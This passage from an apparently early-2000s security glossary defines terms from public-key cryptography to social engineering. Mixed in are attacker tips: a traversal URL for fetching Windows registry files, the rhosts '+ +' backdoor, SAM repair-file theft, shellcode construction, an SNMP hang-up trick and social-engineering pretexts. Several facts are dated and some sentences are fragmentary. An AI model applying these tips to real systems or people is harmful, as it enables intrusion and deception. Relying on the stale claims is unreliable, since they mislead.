When this technique was discovered, it solved the biggest problem in cryptography at that time. In traditional symmetric cryptography, both the sender and receiver of a message had to agree upon the same key. Imagine your country has spies out in the field. If a spy gets captured, then the adversary could steal that key and decrypt messages. With asymmetric keys, however, the enemy can only steal the key the spy is using to encrypt messages, but cannot use that key to decrypt anything. The enemy may be able to forge messages, but the system wouldn't otherwise be compromised. Furthermore, the key could be extremely public: you could simply broadcast your public-key on the open airwaves for your spies to use.
This is indeed what happens with SSL, the protocol you use to connect to e-commerce sites and pay for stuff with credit-cards. The public-key of the server is given out to everybody who connects to the site. However, each user encrypts his data using the public-key, which means nobody else can decrypt it without the secret private-key known only to the owners of the website.
Example: Some uses of public-key encryption are:
Point: The public and private keys are mathematically related. In order to create them, you start with some randomly generated prime numbers. You then run these through some mathematical operations in order to generate the two keys. You publish one of the keys (making it "public") and you keep the other one private. Since the keys are rather large (hundreds of bytes), you generally store them in an encrypted file. Whenever you need to decrypt a message, you type in a password to decrypt the private-key, then use the private-key to decrypt the message.
Key point: Protecting the "private key" from theft/disclosure is the most important thing any company can do. There is exist private keys whose value lie in the range of hundreds of millions if not billions of dollars (such as the key Verisign uses to sign certificates).
The private key is usually protected with strong encryption based upon a strong password. In paranoid cases, parts of the password are given to different people, so that more than one person must be present in order to recover the private key for use (note: redundancy is also used, if the key is XYZ, then Alice knows XY, Bob knows YZ, and Charlene knows XZ, meaning that any two can unlock the private key).
The paranoid things you see in movies about high-security installations apply:
Servers that must use private keys must employ heavy countermeasures:
Example: Some public-key algorithms are:
Antonym: Sometimes the word "secret-key" is used as an antonym to "public-key" in order to highlight the fact that it is a shared-secret. Also, "symmetric" encryption is the antonym to "asymmetric".
Culture: In the movie Hackers, one of the heros dials out from a locked telephone in the jailhouse in order to get an operator, and from there to one of his friends.
Contrast: Such skills are only for emergencies. If you really need to dial through locked out phones, buy/build a touch tone dialer (which generates the appropriate tones), or simply record the touch tones with a tape recorder for the numbers you want to dial.
Example: Such phones can be found in many public places such as hotels and airports. In particular, many American airports have a console near the Arrivals exit with a list of hotels and a phone. A person can pick up the phone and press one of the autodial buttons for a particular hotel (in order to call the hotel shuttle). These systems are usually open to pulse dialing hacks or tone dialers.
[ QAZ | quantum computing | quantum cryptography | quoted printable ]
Analogy: Consider a basketball player who shoots a perfect shot aimed right towards the basket. However, an intervening player intercepts the shot and blocks it. Quantum mechanically, the basketball simultaneously was blocked and went into the basket. The act of observers watching the game caused reality to snap into focus along one state or the other. Of course, quantum mechanics don't apply to basketballs but they do apply to photons (little balls of light). So far, the best explanation for the behaviors of photons is much like the basketball game above. It makes no intuitive sense.
Details: A half-silvered mirror reflects roughly half the light and lets the other half through. However, light is carried by photons (aka. quantums). If you shine a laser light at a half-silvered mirror, it appears that roughly half the light goes through and the other half is reflected. There are three ways of interpreting this:
Key point: A quantum bit, or qubit, holds two values just like a normal bit. However, quantum bits can be combined such that two qubits hold four values, three qubits hold eight bits, and four qubits hold 16 values. Thus, just 30-qubits can store a gigabyte of information. It isn't that easy, but the upshot is that a quantum computer can address exponential problems because it can apply exponential resources to them.
Key point: So far, it seems that the most useful form of quantum computing is quantum cryptography. Researchers have shown ways to crack symmetric keys, factor large numbers to break public keys, and exchange keys.
[ race condition | RADIUS | RADIX64 | Rainbow Series | random | RAT | RC2 | RC4 | RC5 | RDO | red | red box | Red Team | Referer: | Registry | relatively prime | relay | remote | remote administration trojan | Remote Data Objects | remote exploit | Remote Procedure Call | replay | repudiation | Reserved | Resource Kit | resource records (RR) | reverse engineering | rhosts | Rijndael | rip | RIPEMD | risk | root | rootkit | rotation of duties | RPC | rpc.mountd | rpc.statd | rpcbind | RSA | RSAREF | RST | Rumpelstiltskin ]
Key point: Since its humble beginnings, RADIUS has spread to become a generic remote authentication service. For example, it is becoming the desired standard to fix IEEE 802.11 wireless authentication problems.
Key point: Most software-based random number generators are not cryptographically secure. As a result, many cryptosystems have been broken by attacking the generator of session keys. Versions of Netscape and Microsoft browsers have been broken this way. For example, Netscape used the current time and process ID to seed its random number generator.
Key point: Modern high-end computers come with hardware-based random number generators that base their seeds upon electronic noise. This solves the problem of the impossibility of pure-software random number generators of being truly random, or the inefficiency/hackability of entropy-gathering random number generators. These are either in the CPU, the chipsets, or crypto hardware.
Contrast: Software random number generators cannot be perfectly random, so they are called pseudo random number generators (PRNG). Because they cannot generate perfectly random numbers, they usually query the user for some random seed information when they startup. For example, when you install PGP, you type at the keyboard some random text. The program measures the time spacing between keystrokes, then saves that information in a file. That file then serves as the seed information for future cryptographic purposes. For the most part, such seeds are considered strong enough for cryptographic purposes because they represent more bits of information used in most keys. * A PRNG is in contrast to a TRNG (Truly Random Number Generator), which uses physical sources such as radioactive decay.
Key point: Software random number generators generally start with a single seed from which all other numbers are generated. This can be used as a pre-compression mechanism: if you need to generate lots of random data, then store it, you can instead simply store the seed for the pseudo-random number generator. For example, the game "Diablo" generates a random level every time. They could base this on a seed, and simply store the seed and regenerate the level accordingly.
Key point: The output of hash or encryption algorithms produce what appears to be random data. In fact, their security depends upon this. The goal of cryptanalysis is to hunt deep within the data for patterns. As a byproduct, this also means that cryptographic algorithms can also be used as a pseudo-random number generator.
Key point: There are systems known as entropy-gathering PRNGs: they gather some entropy from the environment and whiten it with standard PRNGs (such as hash functions). Sources of entropy in the system are:
Key point: The randomness or entropy of a system can be measured. The table below lists some algorithms that measure entropy, and their measurements when run against this document:
| Algorithm | Description | My entropy |
|---|---|---|
| ent | http://www.fourmilab.ch/random/ | 5 bits |
| MUST (Maurer's Universal Test) | Another measurement system. | 4 bits |
| Diehard | TBD | ? |
| WinZIP | By definition, a compression program reduces redundancy. Therefore, the percentage compression is a fair measure of entropy. Compresses this file down to 18% its original size, which one can consider an entropy of 1.5 bits per byte. | 1.5 bits |
Note that ent and MUST are good measurements of randomness only if the input is nearly random. WinZIP is only a good measure of randomness if the input is mostly redundant. For example, MUST claims that my WinZIP file is 99.7% random, and ent claims it is 99.92% random. These are closer to being accurate.
Misconception: It is pointless measuring the entropy/randomness of anything whitened by a hash function or encrypted, unless you are measuring the hash/encryption function itself. For example, when evaluating a system that gathers entropy (described above), measure that data before it gets whitened.
Key point: Race conditiions in the /tmp directory is one of the most common local exploits.
Analogy: Create a file on the disk called "rob.txt" containing the word "foo". Open the file in an editor and add the word "bar". However, before saving the file open it again in another editor and add the word "baz". Now save the first file, then save the second file, and exit both editors. The file now contains "foo baz", and the changes for "bar" are completely lost. Note: this may not work for you, because some editors check for this condition so that you can't make a mistake.
History: The algorithm was a trade-secret until it was posted anonymously in 1996 to USENET.
Applications:
Key point: RC4 supports variable length keys (up to 2048-bits), but most uses are 40-bits due to historic export controls.
History: The algorithm was a trade-secret until 1994 when somebody reverse engineered it and anonymously posted it to the cypherpunks list and USENET. This reverse engineered version is known as "Arcfour" or "ARC4", which stands for "Alleged RC4". It isn't patented. Therefore, RSA Inc. is trying to move all its customers to RC5, which is both patented and copyrighted. The source code is essentially:
while (length--) {
x++; sx = state[x]; y += sx;
sy = state[y]; state[y] = sx; state[x] = sy;
*data++ ^= state[(sx+sy)&0xFF];
}
RSA Inc. still claims that it is a trade secret; however, due to its simplicity, its description
is in virtually all crypto textbooks -- it is the most widely known secret on the net.
Key point: RC4 works by XORing the plain-text against a stream of random numbers. Unless a whitening seed is provided at the begining, the plain-text may be recovered. This is a common bug in products.
Key point: In order to promote RC5, RSA conducts contests that pay people if they can crack it. The first contest used a 56-bit key, took 212 days to crack by http://www.distributed.net/ using a total of roughly 1-million computers trying all possible 35,000,000,000,000,000 combinations. The message was "It is time to move to a longer key length.", and it was encrypted using the key 0x532B744CC20999.
Example: Below are examples of Referer fields from people who hit my website.
http://www.google.com/search?q=sniff+program+network http://www.google.com/search?q=cable+%22port+scan%22&num=100 http://mc9.metacrawler.com/crawler?general=sub%2Bseven&method=0&sid=53403613mc9_22_16&sno=23858&domainLimit=0&rpp=20&timeout=0&hpe=10&format=regular&power=0&refer=nav&start=20 http://www.google.com/search?q=network+sniffer+detector http://www.google.com/search?q=registered+dynamic+ports&sa=Google+Search http://infoseek.go.com/Titles?qt=%22windows+sniffer%22&sv=IS&lk=noframes&svx=sbox_nohit&cc=WW&oq=%22win98+sniffer%22 http://search.excite.com/search.gw?c=qb&s=%2Bresonate+%2Bwarez&showSummary=true&start=0&lang=en&perPage=10&next=Next+Results
Key point: The refer When combined Cookies are not a security hole in themselves. However, they can be combined in interested ways with other browser features in order to create big security and privacy holes.
Point: A hacker may need to use a combination of remote and local exploits in order to gain control over a system. More and more services are running within sandboxes in order to limit the "spread of the infection". A local exploit may be needed in order to break out of the sandbox.
Key point: The most common remote exploits are buffer overflow and other unchecked input attacks. They are either done against public services (such as HTTP and FTP) or during the logon of protected services (such as POP and IMAP).
Key point: On WinNT machines, the registry can often be remotely accessed. Some portions can even be read without a password. The reason is that some subsystems need to export some configuration information to incoming clients. Rather than create new protocol operations each time this occurs, Microsoft chose to simply expose the raw registry. This is fraught with security issues, so each new upgrade to WinNT/Win2k reduces the visibility of the registry.
Key point: Many programs cache passwords in the registry, often in clear-text or only slightly obfuscated.
Key point: Trojan horses often place themselves in a "Run/RunService" registry entry in order to be automatically launched on the next reboot. Double-check these entries in order to improve the security of your system.
Key point: Ultimately, the registry is stored as a series of files on the disk. For different versions of Windows, these files are:
| Win3.1 | c:\windows\reg.dat | |
| Win9x | c:\windows\system.dat | HKEY_LOCAL_MACHINE |
| c:\windows\user.dat | HKEY_USERS | |
| WinNT Win2k |
%systemroot%\system32\config\SAM | SAM |
| %systemroot%\system32\config\SOFTWARE | HKEY_LOCAL_MACHINE\SOFTWARE | |
| %systemroot%\system32\config\SYSTEM | HKEY_LOCAL_MACHINE\System | |
| ...%username%\NTUSER.DAT | HKEY_CURRENT_USER\{S-1-xxx...} | |
| ...%username%\NTUSER.MAN | Mandatory components of NTUSER.DAT |
Key point: The registry is broken down into hives, which represent the top-level trees of the registry hierarchy. These are:
| HKEY_CLASSES_ROOT | The original purpose of the registry in Win3.x. It maintains a list of associations between filename extensions and the associate file type and programs that will run when you open a file of that extension. Newer systems call contain info as to the HTTP "Content-Type". This information is often hacked to cause programs to run when the user opens a file with a certain extension. For example, you could trojan the .txt extension to first run you own program, then run the real program associated with this file type. |
| HKEY_CURRENT_USER | All the settings for the currently logged-in user. On Win2k/WinNT, you don't have access to other user's settings unless you have administrator privileges. Note that this is really just an alias for a key under HKEY_USERS. |
| HKEY_CURRENT_CONFIG |
The current system configuration. These are settings
for the underlying operating system, not those for the current
user. It is mostly hardware/device-driver settings and the like.
There may be multiple hardware profiles; this points to the currently
active one. It maps one of the keys like
|
| HKEY_USERS | Contains all current user settings. Only the currently logged in user will be visible, as well as the .DEFAULT user. |
| HKEY_LOCALMACHINE | Where all the "machine" settings are located, including hardware and services. This is really the root of all truly interesting subsections of the registry. |
| HKEY_DYN_DATA | Just some performance counters (CPU, disk, etc.) for Win9x; the counters have been moved to a different location under WinNT/Win2k (and have been greatly expanded as well). |
Key point: Win95 stores the registry in c:\windows\system.dat and c:\windows\user.dat (and backups in *.da0 instead of *.dat). If you can get to a Win9x system, then you can often read these files. For example, many personal web-servers (ICQ, FrontPage98, etc.) allow a URL of the form http://victim/.html/....../windows/user.dat that can fetch the files. Many cached passwords are stored in the registry, so getting these files is very important.
Key point: This allows a spammer with a dial-up account to send e-mail as fast as a high-speed Internet connection, since it is the victim who breaks apart the recipient list and sends each person a separate copy. Therefore, one e-mail goes into the server, thousands come out.
Key point: Relaying can be turned off in the e-mail server configuration. Such configuration will force the server to accept either incoming mail, or outgoing mail, but not incoming e-mail destined back out to the Internet. There are several sites on the Internet that will scan your corporate e-mail server to see if will relay spam.
Key point: Some e-mail relays are completely open, others are closed to open relaying, but have bugs that can be exploited in order to relay spam.
Resource: Paul Vixie's MAPS http://maps.vix.com/ (MAPS is SPAM spelled backwards).
Contrast: A trojan is any program with a hidden intent. A RAT is one whose hidden intent is to remotely control the machine. In particular, once the program is run and installs itself as a hidden background service, it ceases to a trojan in the classic sense and is now better thought of as a rootkit.
Example: Back Orifice, NetBus, SubSeven, Hack'a'tack
Contrast: A remote administration trojan is not a virus. The general populace uses the word virus to apply to any hostile program a hacker might use. Normally, being a purist using the correct word is futile, but in this case the distinction is important. You catch viruses accidentally, and the virus rarely does anything hostile to your system. Conversely, when a hacker attempts to infect your system with a remote administration trojan, the hacker is attacking you personally.
Key point: Infections by remote administration Trojans on Windows machines are becoming as frequent as viruses. One common vector is through File and Print Sharing, when home users inadvertently open up their system to the rest of the world. If a hacker has access to the hard-drive, he/she can place the trojan in a location known as the startup folder. This will run the trojan the next time the user logs in. Another common vector is when the hacker simply e-mails the trojan to the user along with a social engineering hack that convinces the user to run it against their better judgment.
Analogy: In the 1992 movie Sneakers, the victim uses a voice identification system. Therefore, the heroes record the voice of one of the victim's employees, edit it with a computer, then play it back into the voice recognition system.
Key point: It seems the first generation of any security architecture is vulnerable to replay attacks. For example, IPsec was original vulnerable to some replay attacks, even though it had provisions against the most obvious ones.
Key point: The anti-replay remedy is to include a timestamp with a message. This then implies that everyone needs to have their clocks synchronized in order to communicate correctly.
Key point: There are two main areas:
Analogy: An example is registered mail, which assures that the letter arrived at its destination.
Antonym: The infosec term "repudiation" is nearly opposite to the legal term authenticity.
See also: Non-repudiation is often mentioned along with other key security concepts such as integrity, authentication, and confidentiality.
Key point: The resource kits contain many tools to help system administration. Therefore, these tools are extremely useful for hacking. Any hacker interested in compromising Windows has a copy of the Resource Kit.
Key point: These tools aren't "dangerous". They don't provide any capabilities that hackers couldn't program for themselves. These tools are useless against secured systems.
Reverse engineering is often used to:
Key point: A common backdoor is to place the entry "+ +" in the rhosts file. This tells the system to trust everybody.
Key point: The file simply contains a list of named hosts or IP addresses. Sometime the hacker can forge DNS information in order to convince the victim that he has the same name as a trusted system. Alternately, a hacker can sometimes spoof the IP address of a trusted system.
See also: hosts.equiv
Contrast: RIPEMD-128 was found to have weaknesses; the variant appearing in today's products is actually RIPEMD-160. There are also RIPEMD-256 and RIPEMD-320 variants. The larger the output key, the stronger the algorithm (generally).
See also: integrity
Contrast: A vulnerability is something a hacker can use to break into a system. While some can be fixed (e.g. buffer overflows), others cannot (e.g. weak passwords). A risk attempts to measure the chance/likelihood that an intruder will successfully exploit the vulnerability.
Often used as a verb: to root a box is to gain administrative (i.e. full) control over the system and own it.
Key point: The term can be used as a verb. To "root" machine is to break in and obtain root privileges, and their own the machine.
Key point: A rootkit contains many trojaned programs. These programs are used to allow the hacker entry back into the system and to hide the presence of the hacker. For example, a trojaned "ps" command might hide the hacker's sniffer daemon from appearing in the process list. Alternatively, the hacker might trojan an existing daemon like inetd to run a background sniffer.
Key point: The most important trojaned programs are those that deal with gaining access back into the system with a special password. Therefore, trojaned versions of login daemon, su, or telnetd are needed.
Key point: Rootkits often contain setuid programs that normal users can run in order to elevate their privileges to root. Look for these in order to see if your system has been hacked.
Culture: Also called "daemon kits".
Example: The "t0rn" kit, including utilities like "t0rnsniff" and replacement binaries. In 2001, this kit was included as part of several Linux worms.
Contrast: The oldest form of RPC in use is Sun's RPC, upon which many famous protocols (such as NFS) are based. A newer form known as DCE RPC is used by Microsoft as the basis for its RPC services. The DCE version is dramatically more complex than the Sun variant, but supplies more services (such as built-in security).
History: In the year 1999 (and early 2000), a wave of hacker attacks against Sun's RPC services swept the net. Virtually any Sun box connected to the net whose default RPC services were enabled, was hackable. Many Linux boxes were also hackable through RPC-based services. Virtually all of these attacks where through buffer overflow exploits.
Example: Some RPC services are:
Details: In order to generate the keys:
Details: In order to encrypt/decrypt something using RSA, the following algorithm is used.
Point: RSA forms the basis for X.509 certificates in web servers and browsers.
Key point: RSA Security charges a hefty license to use the RSA algorithm. However, the patent expires in September of the year 2000. At that time, the number of products using the RSA algorithm are likely to explode.
Key point: An alternative to RSA is the "Diffie-Hellman" algorithm. This is used in many cases, but it is hampered by the fact that many products that could use it (like Netscape and Microsoft browsers) do not; for interoperability you often need to use RSA over DH.
History: When exporting RSA was illegal, a popular form of disobedience would be to wear T-shirts with the algorithm or us it as part of your .sig.
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
Applications: PGP, SSL, SET, DNSSEC, SSH
See also: DSA
Key point: RSAREF has been supported by RSA (the company) for a long time, and a number of security holes have been found in this implementation. RSA wants people to use the BSAFE development kit instead. In late 1999 in particular, a bug was found that allows ssh to be hacked.
[ S/Key | S/MIME | Safe Harbor | SAM | Samba | samdump | samples | sandbox | SATAN | scan | scanner | scavenge | script-kiddies | script-kiddy | scripts | secret-key | SecurID | security | Security Access Monitor | seed | sendmail | separation of duties | Sequence Number | server | service | session keys | SET | setguid | setuid | SHA-1 | shadowed passwords | shared media | shared secret | shell | shellcode | shoulder surfing | showmount | shred | shun | SIGINT | signature | Simple Mail Transfer Protocol | SirCam Worm | skimming | Skipjack | smart card | SMB | SMTP | smurf | sneakers | sniffer | sniffing | SNMP | SOA | social engineering | Social Security Number | socket | sockets | SOCKS | Solar Sunrise | Solaris | source route | spam | special operations | spider | split-password | sploits | spoof | spread-spectrum | SQL | SS7 | ssh | SSID | SSL | SSN | stack frame | statd | stateful inspection | static filter | stealth scan | stegano | steganography | stream cipher | strings | strobe | SUID | SunOS | superuser | swap | symlink | symmetric | SYN | SYN flood | syndrop | SYSKEY | syslog ]
Key point: The SAM file is located in the path
%systemroot%/system32/config/SAM
However, a backup is also stored in the location
%systemroot%/repair/sam._
as well as on any repair disk generated. (Note: if new repair disks haven't
been created, then you'll likely only be able to see the Administrator's
password there).
Hackers usually go after the "repair" versions because they are not
locked by the operating system.
Tools:
History: The original version of WinNT allowed the password hashes to be easily retrieved, making cracking easy. In SP3, an optional utility called SYSKEY was added that encrypts the hashes. In order to decrypt them, the administrator needs to either type in the passphrase at boot time, store the passphrase on a floppy, or put the passphrase in the registry (dramatically reducing security, of course). Whatever way is used to boot the system, the keys are then stored in unencrypted format in memory, so administrative access can still read them (using the pwdump2 utility). SYSKEY is optional on WinNT, but is always running on Win2k.
Key point: The PASSPROP and PASSFILT utilities can be used to enforce the choice of better passwords.
Key point: The Samba package comprises the following:
See also: defaults
Key point: Sandboxes are being used more and more often for servers. This puts walls between different components that can help stop (or slow down) an intruder that has broken into one part of the system. The most important technique is to run services as a user account rather than an administrator/root account. For example, Microsoft's IIS creates a special user account (named "IUSR_XXXX" where XXXX is the system name) that the web-server runs under. When somebody breaks into the web-server, they still cannot gain control over the full system (unless they run some sort of local exploit in order to break out of this sandbox).
Example: Example sandboxes are:
Example: There are variations of virus scanners:
Key point: Elite hackers write scripts, script-kiddies run scripts.
Misunderstanding: A lot of "scripts" are written in scripting languages like PERL, but a lot are distributed in C/C++ source form as well.
Contrast: 0-day exploit
Key point: The product provides two-factor authentication by combining something you know (password or PIN) with something you have (the SecurID token).
Contrast:
Example: In stores, one person receives the cash and puts it into the cash register, another person pulls the cash out at night and counts it.
Contrast: Military organizations sometimes take this one step further with rotation of duties. Regularly changing a person's duties prevents people from collaborating.
Contrast: These days we talk about a client/server architecture in contrast to the mainframe architecture. In the old days, the IBM mainframe was the center of the network, and dumb terminals provided a user interface. (In order to reconfigure the network, you used to have to briefly pull the mainframe offline, because the entire network was controlled by the mainframe). These days, computing power has diffused throughout the network. On the edge of the network we have smart terminals, high-powered workstations, and of course PCs. At the center of the network are clusters of computers rather than a monolithic mainframe.
Examples:
Misconception: An X Windows terminal is called an X server. This is unexpected because generally anything a human interacts with is the client. However, remember that the X Windows protocol allows a program to draw images on a screen. Therefore, the services being performed are image-drawing services. QED: whoever requests that an image be drawn is the client, and whoever carries out the action is the server. It is the terminal that actually draws the images on the screen, hence the terminal is the X server.
Key point: Sendmail is an MTA (Message Transfer Agent). This means that Sendmail only transfers e-mail to other MTAs. Client programs (like Outlook, Eudora, Pine) will use SMTP to hand e-mail to Sendmail for transmission over the Internet, but they can't use SMTP to read e-mail. Instead, when Sendmail receives e-mail destined for the local machine, it must hand it off to some other software package. In the most common situation, Sendmail will save incoming messages in mbox format to /var/spool/mail for each user, and other programs will allow users to retrieve e-mail from those files.
History: In 1989, Morris Worm exploited Sendmail bugs as one technique to spread itself. Sendmail is an ancient software package on the Internet, which results in a high-degree of complexity for backwards compatibility.
Algorithms: RSA public-key, MD5 hash, RC2 encryption
Key point: In theory, setuid programs can only be installed by root, and they are considered as part of the operating system, because they inherently bypass security checks and must verify security themselves. A typical example is the passwd command, which a user runs in order to change his/her password. It must be setuid, because it changes files only root has access to, but yet it must be runnable by users.
Key point: In practice, setuid programs often have bugs that can be exploited by logged in users.
Key point: As part of hardening a system, the administrator should scour the system and remove all unnecessary setuid programs.
| Linux | find / -type f -perm +6000 -exec ls -l {} \; |
|---|---|
| Solaris | find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; |
Key point: Some programs are really setguid which only changes the group context rather than the user context.
Key point: Windows doesn't have the concept of setuid. Instead, RPC is used whereby client programs (run by users) contact server programs to carry out the desired task. For example, in order to change the password, the client program asks the SAM to do it on behalf of the user. Thus, whereas UNIX requires a myriad of client programs to verify credentials and be written securely, Windows only requires a few server programs to do the same.
Key point: A common way to backdoor a system is to place a SUID program in the /tmp directory.
Contrast: SHA-1 is currently (year 2001) considered to be the strongest hash function available. It has a larger size (160-bits vs. 128-bits) and has underground thorough scrutiny without discovery of weaknesses (such as MD5). On the other hand, it is one of the slower hash algorithms.
History: SHA-1 is a slight variation of SHA. It adds a one-bit shift at one stage in order to overcome a theoretical weakness. SHA was based upon MD4, enhanced to overcome known weaknesses and increase the length to 160-bits.
See also: integrity
Example: The following is a table of typical locations for the shadowed passwords:
| AIX 3 | /etc/security/passwd or /tcb/auth/files// |
| A/UX 3.0s | /tcb/files/auth/?/ |
| BSD4.3-Reno | /etc/master.passwd |
| ConvexOS 10 | /etc/shadpw |
| ConvexOS 11 | /etc/shadow |
| DG/UX | /etc/tcb/aa/user/ |
| EP/IX | /etc/shadow |
| HP-UX | /.secure/etc/passwd |
| IRIX 5 | /etc/shadow |
| Linux | /etc/shadow |
| OSF/1 | /etc/passwd[.dir|.pag] |
| SCO Unix #.2.x | /tcb/auth/files// |
| SunOS4.1+c2 | /etc/security/passwd.adjunct |
| SunOS 5.0 | /etc/shadow |
| System V Release 4.0 | /etc/shadow |
| System V Release 4.2 | /etc/security/* database |
| Ultrix 4 | /etc/auth.dir or /etc/auth.pag |
| UNICOS | /etc/udb |
Key point: In the old days, most remote attacks against UNIX were directed at the /etc/passwd file. For example, the most common form of the phf would be to grab the password file. As password shadowing becomes more common, such attacks are increasingly being pointed at the shadow password file instead.
Key point: In such systems, any computer on the wire can eavesdrop on its neighbors.
Contrast: Most corporations are replacing their shared media nets with switched connections.
Example: DVD movies are encrypted with a randomly generated key. This key is then is then encrypted multiple times with hundreds of different keys. Every DVD player vendor owns one of these keys and imbeds it in their device, thus allows that player to decrypt the movie. (Presumably, if one of the keys is compromised, future movies can be generated without the offending key, causing players based upon that key to become obsolete). However, there is no good way to protect these keys, even though they are in hardware. In late 1999, students in Europe where able to break one of these keys (the Xing software DVD player), and from there they were able to break the majority of the other keys. (These keys only used 40-bit encryption, so breaking one key in the software player allowed a known-plaintext attack).
Key point: This is similar to the "Command Prompt" or incorrectly named "DOS Prompt" on Windows systems.
Key point: Many systems pass filenames along with commands directly to the shell. Hackers can exploit this by sending special shell characters (like the pipe | character) as part of filenames in order to execute their own commands. This is an example of an input validation exploit. Examples of this are web-servers, PERL scripts, and CGI scripts.
Key point: The most popular shell among hackers is probably "bash", the shell from GNU that ships with Linux. (Culture: The original shell on UNIX is known as the "Bourne Shell", named for its creator. The acronym "bash" means "Bourne Again SHell", reflecting that fact that it is a rewrite of that shell).
Key point: Retrieving someone's .bash_history file is a common attack against UNIX machines. Several embedded systems have shipped such that the file http://raq.robertgraham.com/~root/.bash_history could be retrieved via the web.
Key point: The holy grail of UNIX hacking is to somehow obtain (or re-obtain) a root shell. In other words, the hacker wants to get a command-line on the victim system in order to carry out any task. For this reason, buffer overflow exploits often contain what is called "shell code". When the victim process is running with root privileges, the buffer-overflow will cause that process to begin running a shell. For example, an exploit might send a long password containing the shell code to an FTP server, converting the TCP connection to the FTP server into a full command-prompt from which any program can be launched.
Key point: One of the difficulties in writing shellcode is that need to pass through filters. For example, when exploiting a bug in an SMTP server, you may find that the server strips the high-order bit from all bytes (i.e. will pass text but not binary). Therefore, all bytes between 0x00-07F will pass through, but not 0x80-0xFF. Alternately, a big limitation is systems that won't pass nul characters (0x00) because they terminate strings in functions like strcpy(). Therefore, when a hacker picks shellcode to append to their script, they must be fully aware of the limitations of the system they are dealing with.
Key point: When creating new shellcode, create a C program that calls something like "system("/bin/sh");" or "execve("/bin/sh",0,0);" and grab the assembly output. At that point, pare it down to what you need. This requires extensive knowledge of assembly, needless to say.
Key point: Sometimes you won't be able to grab a shell, so you have to create the exploit script to run a command. Typical choices of commands would be those that change passwords, add accounts, or in some fashion open up some other hole on the system.
Key point: The vast majority of buffer overflow attacks will execute /bin/sh. Therefore, by simply removing this program (or replacing it with something that double-checks what's being done), you can protect yourself against many 0-day exploits.
Analogy: Crooks often steal credit card numbers in the same way. They stand behind people in line and read their credit cards as they sit on the countertop during handling.
Key point: This command used the rpc.mountd protocol (RPC program number 100005). On most systems, these commands do not require authentication, which means that anybody can run them. The showmount command with no arguments equates the MOUNTPROG_DUMP procedure, whereas the -e option equates to the MOUNTPROG_EXPORT procedure. This protocol is extremely light-weight, only two packets in each direction are needed: one for the portmap, and one for the procedure call.
Contrast: Similar capabilities exist on Windows for Microsoft's SMB protocols. The net view \\victim command on Windows will view the shares that the victim is exporting.
Key point: Straight cut (or strip cut) shredders just cut paper into straight strips. While these deter casual attackers, serious attackers may be able to reconstruct the original document. Cross-cut shredders provide dramatically more security. DoD has higher standards for cross-cut shredders mandating smaller pieces.
See also: wipe, identity theft
Example:
Key point: Marketing forces often mean that companies have to fill their products with useless signatures. Don't be impressed because one product has more signatures than another.
Key point: One of the key goals of hacking is to evade signature detection. Virus writers attempt to encrypt their viruses, whereas remote hackers attempt to alter the networking protocol so that it has the same effect, but a different pattern on the wire.
Key point: Whereas the data on the magnetic strip of a credit-card can be easily read or changed, smart-cards are designed to be tamper proof.
Example: All Germans have a smart-card for health insurance. As of 2001, smart-cards have been popular in Europe for about a decade, but are still mostly unknown in the United States.
Example: The tamper-proof features make it popular for authentication in both physical security and infosec uses.
History: SMB was originally developed for DOS machines. It was later upgraded so that OS/2 machines could act as servers for DOS machines. The protocol was later upgraded for Windows (Wfw = Windows for Workgroups) and Windows NT. Still later upgrades have been added for Windows 2000. This constant evolution and need for backwards compatibility has led to many security holes within the protocol. The most severe is the need for "LAN Manager" authentication.
Key point: SMB is an application layer protocol and can run over many different transports, including TCP/IP. A common problem is that home-users enable SMB over TCP/IP, allowing anybody on the Internet to access their hard-disk. They should instead install a local-only transport such as NetBEUI for SMB, which will allow file access among local machines, but not remote machines across the Internet.
Key point: SMB-sniffers can read the encrypted password info off the wire and send them to password crackers
Contrast: S/MIME largely replaces PEM (Privacy Enhanced E-mail). MIME defined a common way that an e-mail message could contain binary attachements, and therefore integrates better into e-mail systems than PEM. PEM was never widely implemented, whereas S/MIME can be found in most popular e-mail readers.
Key point: Virtually all e-mail exchanged on the Internet is through SMTP.
Key point: The most common exploits for SMTP involve spammers trying to relay mail through high-speed mail servers.
Key point: You have be between the sender and the receiver in order to sniff traffic. This is easy in corporations using shared media, but practically impossible with an ISP unless you break into their building or be an employee.
Key point: Sniffers are frequently used as part of automated programs to sift information off the wire, such as clear-text passwords, and sometimes password hashes (to be crack).
Further reading: http://www.robertgraham.com/pubs/sniffing-faq.html.
Key point: Most equipment comes with default passwords (aka. community strings) of public and private. These allow you to read information from the device (traffic, temperature, voltage, etc.) and re-configure it.
Key point: A common technique is to traceroute to a victim's dial-up machine thereby discovering the IP address of the hardware they've dialed into. Then, you can send SNMP commands with the "private" community strings telling the hardware to hang-up on the victim. Also, spammers have used this technique to find the true login name of the user.
Hack: If you control the SOA for a reverse mapping, you can spoof the reverse lookup for an IP address. Let's say that you controlled the DNS server for 132.2.0.192.in-addr.arpa, you can choose to return any domain name you want. This can be used to subvert a number of systems that rely upon reverse lookups, such as older /etc/hosts.equiv files (specifically, the older istrusted() function call).
Key point: The classic example is to pretend to be from a company's computer department and call up a user asking for their password. Sophisticated hacks will first try to make the victim uncomfortable (i.e. "We've detected improper use of your account..."), then offer them the opportunity to be very helpful ("I'm sure we can check this out now and not involve your boss."). The technique often works well in reverse: call up the computer support department and tell them you've lost your password. This works especially well in companies that have policies requiring you to change your password -- people forgetting passwords on really old accounts are frequent, so support departments are deluged with such requests, so it's easy to slip one past them.
Key point: Know as much about your victim as possible. If you are emulating something, try to find the answers to typical questions you will be asked.
Key point: If all else fails, try stupidity. If you are a foreigner, pretend not to speak the language well. Likewise, females have certain advantages in male-dominated cultures.
Example:
Key point: Newbies are favorite victims of social-engineering attacks in chat rooms. Hackers go after people who appear to be unsure of themselves online.
Key point: Many hackers do not consider social-engineering a "real" attack because it doesn't require extensive technical knowledge in order to pull off.
Tips:
Misunderstanding: You do not have to give your SSN to most people who ask for it. A typical example is the health-care industry: you can almost always refuse to give them your SSN and force them to use a different number.
Controversy: The SSN has become a universal ID number, which worries privacy advocates.
Culture: Often pronounced with just the first sylable, sounds like "soshe".
Contrast: Other interfaces programmers could use are higher-level abstractions like RPC, or lower-level "raw" interfaces like libnet.
